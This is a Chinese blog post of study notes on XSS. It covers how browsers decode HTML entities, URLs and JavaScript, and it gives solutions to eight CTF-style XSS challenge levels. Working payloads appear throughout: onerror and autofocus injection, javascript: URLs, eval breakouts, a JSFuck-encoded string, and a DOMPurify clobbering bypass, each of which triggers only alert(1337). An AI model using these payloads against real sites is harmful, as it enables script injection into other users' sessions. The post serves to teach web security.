xssnote

news2024/11/16 9:43:29

XSS漏洞:

文章目录

  • XSS漏洞:
    • 反射型:
      • 第一个例子:
    • 实体,url,和js的Unicode编码
      • img——重要标签
      • 浏览器解析机制:
        • 容纳字符实体:
        • 字符引用:
        • RCDATA状态中的字符引用:
      • URL解析:
          • 解析顺序:
      • Javascript解析:
        • script标签
        • js中两个重要规范:
    • 一个非常规范顺序的代码:
      • 断点
    • 第一关:
    • 第二关:
    • 第三关:
    • 第四关:
    • 第五关:
    • 第六关:
    • 第七关:
      • 解法1
      • 解法2:
      • 解法3:
    • 第八关:

主要有反射型,存储型和DOM型。

反射型:

反射型:产生的原因还是因为用户的输入没有很好的过滤,导致用户的输入,输出到了前端的页面上。然后前端的页面把用户的输入解析了,导致前端页面出现了相关的漏洞。为什么这们说累,因为前端页面是可以解析我们的js代码的,而反射型漏洞的利用语句也是js。所以说用户再输入的地方输入js代码,然后后端程序没有很好的过滤在直接输出到前端,前端直接把js代码放到了html页面里面,导致了js代码就执行了,因为前端是可以执行js代码的。

第一个例子:

在这里我们可以看到后端的代码,直接将 G E T [ ] 得到的值和 h e l l o 拼接起来就返回前端了,被包裹再 < p r e > 标签里面。但是这里有个小问题就是为什么 _GET[]得到的值和hello拼接起来就返回前端了,被包裹再<pre>标签里面。但是这里有个小问题就是为什么 GET[]得到的值和hello拼接起来就返回前端了,被包裹再<pre>标签里面。但是这里有个小问题就是为什么html自动输出了而且前端自动多出了pre标签?先不管,反正就是输出了

在这里插入图片描述

然后这里是前端的代码和展示。

在这里插入图片描述

解释一下这里action的值是#,这里的#表示的一个锚点,会自动到页面的顶部。

然后继续做个说明,并不是所有的标签都可以解析我们的js语句比如说这个超大的文本输入框就不行,这个标签一般根input标签提交+form标签包含搭配使用,但是这里的pre标签可以。所以说,如果这个时候我们在用户框内输入如下内容,那么将会弹出一个警告框,警告框的内容是1,这是因为pre解析了我们的js代码

<script>alert(1)</script>

通过在控制器那里,输入以下函数测试,都可以发现页面弹框,这里prompt函数是让用户输入的一个函数

  • alert()
  • confirm()
  • prompt()

js所有的方法类都是继承于window这个类下面,这里能会造成一个问题

实体,url,和js的Unicode编码

  • a标签内部的href属性支持我们JavaScript的伪协议,当点击aaa的时候就可以触发,这也就是标签内触发,所以第一个语句可以成功.

  • 同时哈这里的href也适配url解码,就是说把里面的href的值去url编码在复制进去。因为正常的逻辑是你点击这个东西,然后它就可以进入url地址栏里面,然后url地址栏可以解码然后就可以执行,但是发现不行,浏览器地址栏显示了%28,%29

  • 根本上说href本身不解url编码也不能识别,但是触发后到了url地址栏那里可以被解码并识别,所以说href适配不用误解了噢

<a href="javascript:alert(1)">aaa</a>
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
  • 以上是url编码方式,接下来继续研究html实体编码,html实体编码的形式就是根url编码的方式一样只是url用%,html实体编码用&#x,如果不是16进制的话这个x也可以省略.。但是为什么下面的这个代码可以成功但是上面的的不行嘞?这就要提及编码顺序了
    • url编码:%
    • html实体编码:&#x ; 或者 &# ;
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29"></a>

​ 第二个那个纯url编码的为什么不行了呢?这是因为href这个属性,它是要识别协议的,你把javascript这个协议url编码了,在href这里还没有解码所以href识别不了,当然就更别说后续的alert函数能执行了。但是哈当点击连接去到url地址栏的时候那个地址栏可以解析,但是没有执行了,因为herf属性此前并没有识别到JavaScript这个协议,所以这里的url属性解码出来的只能单纯的文本内容了。

​ 在这里html实体编码优先级较高,所以它会在herf行动之前把自己解码回到javascript这个协议,然后href识别到了有javascript这个协议了,再次点击触发的话就可以按照这个js伪协议来了。总体来说可以总结成如下几个步骤:

  • html实体解码还原了javascript伪协议
  • href属性识别到了那个js伪协议
  • 在前端页面触发后可以识别并执行js代码。

协议要包含冒号的,所以说这里的冒号不能被url编码成%3a,要么实体编码,要么不编码,下面的这种形式是不行的

<a href="javascript%3aalert(3)"></a>

img——重要标签

<div>&#60;img src="1" onerror=alert(4)&#62;</div>
  • &#60和62分别是<>的一个实体编码。

  • 在img标签内部,如果路径不存在就会触发alert这个属性执行。但是这里不能执行,而是把这个当成字符串原样输出出去了,接下来深入底层去讨论这个浏览器的解析机制

浏览器解析机制:

在前端代码的解析机制中,主要还是要参考官方W3c的文章,和编译原理去理解这些东西。接下来将会引入一些概念。将HTML解析器当作一个状态机,有很多状态,识别到字符后按规则进行状态的转换。

  • 识别到 ‘<’ 后进入“标签开始状态”,然后到“标签名 状态”…最后进入到“数据状态”,然后会释放当前标签的token。
  • 当标签处于“数据状态的时候”会继续解析,每发现一个完整的标签都会释放一个token
容纳字符实体:

这里有三种情况可以容纳字符实体

  • 数据状态中的字符引用
  • RCDATA状态中的字符引用
  • 属性值状态中的字符引用

在这三种状态中,html实体编码会被解码然后放入数据缓冲区中。例如在这里的这个例子

  • <”和“>”字符被编码为“&#60”和“&#62”。当解析器解析完“
    ”并处于“数据状态”时,这两个字符将会被解析。当解析器遇到“&”字符,它会知道这是“数据状态的字符引用”,因此会消耗一个字符引用(例如“&#60”)并释放出对应字符的token。在这个例子中,对应字符指的是“<”和“>”。
  • 这是不是意味着“<”和“>”的token将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是不会!
  • 原因是解析器在解析这个字符引用后不会转换到“标签开始状态”。正因为如此,就不会建立新标签。

因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”。

字符引用:

有如下的两种方式

  • 字符值引用:&#
  • 字符实体引用:&It ;
RCDATA状态中的字符引用:

首先了解一下html的5元素

  • 空元素:
  • 原始文本元素

“RCDATA状态中的字符引用”。在和标签中的字符引用会被HTML解析器解码。这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”。另外,对RCDATA有个特殊的情况。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如或<title>的内容中),唯一能够被解析器认做是标签的就是“”或者“”。因此,在“”和“”的内容中不会创建标签,就不会有脚本能够执行

URL解析:

首先,URL资源类型必须是ASCII字母(U+0041-U+005A || U+0061-U+007A),不然就会进入“无类型”状态。例如,你不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用

解析顺序:

html->url->javascript

Javascript解析:

script标签

所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。这意味如下代码无效,在前台没有任何显示

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
js中两个重要规范:
  • 严格区分大小写

  • 不能编码符号,如单双引号等,字母数字不是符号

  • js解码的时候默认为字符串,所以要加上单双引号解码里面的内容

一个非常规范顺序的代码:

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

先html—》html—》js

断点

并且可以在浏览器的这个地方下断点

在这里插入图片描述

第一关:

页面代码如下:

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

通过id引用,让h2这个元素标签里面的值发送改变。等号右边是创建了一个URL对象并传递location,也就是当前页面的url,然后用引用了URL类里面的searchParams属性,这个属性也是一个类,然后用这个属性类的get方法传递somebody,如果不穿就默认是somebody字符串,然后这个结果连接右边的字符串,这么写就可以了

?somebody=<img src='134' onerror=alert(1337)>

在这里插入图片描述

这里有一个安全小技巧,用spaghet.innerText安全一点,因为这个不会解析你的js代码,而是并把它当作字符串

第二关:

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

jeff的效果和第一关的somebody一样不多解释,然后这里有个eval代码执行。然后有个回调函数第一个参数是一个函数,函数名字是下划线,函数体是一个id引用然后赋值,让h2标签的内容等于ma。但是不同的是这里用了innerText比较安全,所以这里就不考虑之前的方法了,而是利用eval。答案如下

?jeff=aaa";alert(1337)";

注意因为是eval所以有分号,或者用js里面特殊的连接符号 - 也可以

?jeff=aaa"-alert(1337);-"

在这里插入图片描述

这里进入断点,发现eval函数的内部是这个样子的

第三关:

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这里很明显有一个正则替换/ /里面是一个正则表达式g是表达匹配全句子的意思。不然的话只会匹配句子的第一处。所以说这里的正则就是你不能输入 [ < > ] 这4个符号,否则就会把他们替换成空字符串。但是注意这里用的还是innerHTML属性嘿嘿有机可乘。placeholder这个属性是一个提示信息,当输入为空时的一个提示,不同于value直接有个值

?wey=aaa" onclick="alert(1337)""
?wey=aaa" onfocus="alert(1337)""

这里有一种交互式的答案,就是用户点击才能生效,注意属性后面的值要有引号,这里的input标签还有个onfocus属性。但是都是需要点击的,于是乎又来了一个标签autofocus于是这个就是答案了,还不能直接只用autofocus属性

  • 注意属性值有引号
?wey=aaa" onfocus="alert(1337)" autofocus="""

第四关:

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

这道题,初步分析是用户给form标签提供了一个action属性的值,然后两秒后会跳转到action的地方。

?ricardo=javascript:alert(1337)

果然不出所料,用到了js伪协议,只是这里不用加引号了

第五关:

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

这里正则过滤的是有 [ ( ` \ ) ] 这几个符号,然后还是innerHTML提交。我先试一下字符编码(script不能用实体标签)

  • < is &it ;
  • ‘>’ is &gt ;
  • ( is &lparen;
  • ) is &rparen;
?will=&it;img src="1" onerror="alert&lparen;1337&rparen;"&gt;

测试发现啊不太行。于是用到了location。location 属性: 这个属性用于设置当前窗口的URL,改变页面的地址,相当于再次跑到url地址栏了去二次url解码。

?markassbrownlee=<img src="1" onerror=location="javascript:alert%25281337%2529">

第六关:

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这里的正则是不能出现数字和字母,然后会执行代码balls里面的内容

%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)

这里其实就是先进入js.fuck网站对alert(1337)进行了一个js的编码,然后因为有加号所以在url编码,直接赋值给balls就可以了

第七关:

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

这里对正则过滤了 [ ` ’ " + - ! \ [] ] 以及函数alert,但是没有过滤完,是出题者的失误,直接试一下confirm,还限制了长度50

?mafia=confirm(1337)

解法1

这里要先介绍一下Function。Function构造函数用于动态创建函数。它接收参数作为函数的参数名和函数体的代码字符串,并返回一个新的函数对象。以下是它的用法:

const dynamicFunction = new Function('a', 'b', 'return a + b;');
console.log(dynamicFunction(2, 3)); // 输出: 5

上答案:

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

.source 属性返回正则表达式的文本源,即 “ALERT(1337)”,然后第二个()是立即执行。

解法2:

这里哈可以介绍2个函数:

  • parseInt(‘alert’,30):可以将alert转换成30进制的表示第二个参数是多少进制的意思,第一个参数是一个字符串
  • toString 8680439…toString(30)就是根parseInt相反的操作

然后还有个小细节,这里转会去的函数toString,的范围一定要大,不然转不回去如a是10,b是11…

?mafia=eval(8680439..toString(30))(1337)

但是为什么要两个eval嘞?原来里面的alert的作用是执行代码然后转换出alert然后可以拼接上后面的(1337)

解法3:

eval(location.hash.slice(1))#alert(1337)

第八关:

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

这里的话是给h2标签的值重新赋值,但是下面执行的函数是ok,说明我们要自己构建一个ok为名字的函数。然后失败了

?boomer=let ok=function(){alert(1337)}

页面中的元素就是那些标签

,可以通过id或者name的值去取出来

?boomer=<a id='ok' href='cid:alert(1337)'>

oomer">Ok, Boomer.


这里的话是给h2标签的值重新赋值,但是下面执行的函数是ok,说明我们要自己构建一个ok为名字的函数。然后失败了

?boomer=let ok=function(){alert(1337)}


页面中的元素就是那些标签

,可以通过id或者name的值去取出来

?boomer=


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2049928.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端css 动画过渡类型以及不同写法

动画过渡简写和复合写法 拆开写 transition-property: height background; 单独设置宽高或者all transition-duration: 2s; 运动时间 transition-timing-function: linear; 不同速度类型 transition-delay: 5s; 延迟时间 <!DOCTYPE h…

相似度计算方法-编辑距离 (Edit Distance)

定义 编辑距离&#xff08;Edit Distance&#xff09;&#xff0c;也称为Levenshtein距离&#xff0c;是一种衡量两个字符串相似度的方法。它定义为从一个字符串转换为另一个字符串所需的最少单字符编辑操作次数&#xff0c;这些操作包括插入、删除或替换一个字符。 计算方法 …

圣鑫堂胀气保健油:专为婴幼儿设计

圣鑫堂胀气保健油是一款专为婴幼儿设计的产品&#xff0c;旨在帮助宝宝缓解胀气不适。胀气是宝宝成长过程中常见的问题&#xff0c;由于婴儿的消化系统尚不成熟&#xff0c;容易出现胀气、腹痛等症状。圣鑫堂麻油通过纯天然的中草药成分&#xff0c;温和有效地帮助宝宝排出肠道…

解决电脑(Win10)内存不足问题:设置虚拟内存

文章目录 1. 虚拟内存1.1 介绍1.2 虚拟内存优点1.3 虚拟内存缺点 2. 为什么要修改虚拟内存&#xff1f;3. win10虚拟内存设置多少合适&#xff1f;4. Win10如何设置虚拟内存? 1. 虚拟内存 1.1 介绍 虚拟内存是一种计算机系统内存管理技术&#xff0c;它使得计算机能够使用比…

为什么精英都是时间控.md

作者&#xff1a;桦泽紫苑 一句话读书感想&#xff1a;高效利用时间&#xff0c;高效工作&#xff0c;幸福生活。 不在时间管理上下功夫&#xff0c;人真的会被工作“忙杀” 1.时间管理术四原则 1.1 以专注力为中心对时间分配 灵活运用大脑的黄金时间&#xff0c;将效率提高…

AI视频创作原理

重磅推荐专栏: 《大模型AIGC》 《课程大纲》 《知识星球》 本专栏致力于探索和讨论当今最前沿的技术趋势和应用领域,包括但不限于ChatGPT和Stable Diffusion等。我们将深入研究大型模型的开发和应用,以及与之相关的人工智能生成内容(AIGC)技术。通过深入的技术解析和实践经…

Paimon实战 -- paimon系统表与审计监控

简介 paimon系统表按照元数据的分类&#xff0c;划分了如下10个系统表&#xff0c;通过系统表可以获取paimon表各维度的元数据和消费组信息。通过收集这些元信息&#xff0c;不仅可以排查问题使用&#xff0c;还可以构建统一的paimon元数据管理和消费组管理平台&#xff0c;比如…

远程调用-OpenFeign(二)

目录 1.OpenFeign最佳实践 1.1Feign继承方式 1.1.1创建一个Module 1.1.2引入依赖 1.1.3编写接口 1.1.4打Jar包 1.1.5服务提供方实现接口 1.1.6服务消费方继承接口 1.1.7测试 1.2Feign抽取方式 1.2.1创建一个Module 1.2.2引入依赖 1.2.3编写API 1.2.4打Jar包 1.2.…

mipi协议:Low Level Protocol(2)

前言&#xff1a; 今天继续给大家分享mipi协议中的Low Level Protocol部分内容翻译&#xff01; Packet Header Error Correction code for D-PHY Physical Layer Option: 数据标识符、字数计数和虚拟通道扩展字段的正确解释对于数据包结构至关重要。6位的数据包头错误校正码&…

日拱一卒(4)——leetcode学习记录:路径总和

一、任务&#xff1a; 给你二叉树的根节点 root 和一个表示目标和的整数 targetSum 。判断该树中是否存在 根节点到叶子节点 的路径&#xff0c;这条路径上所有节点值相加等于目标和 targetSum 。如果存在&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 叶…

Systools Outlook PST Recovery Outlook PST邮箱邮件数据修复工具下载

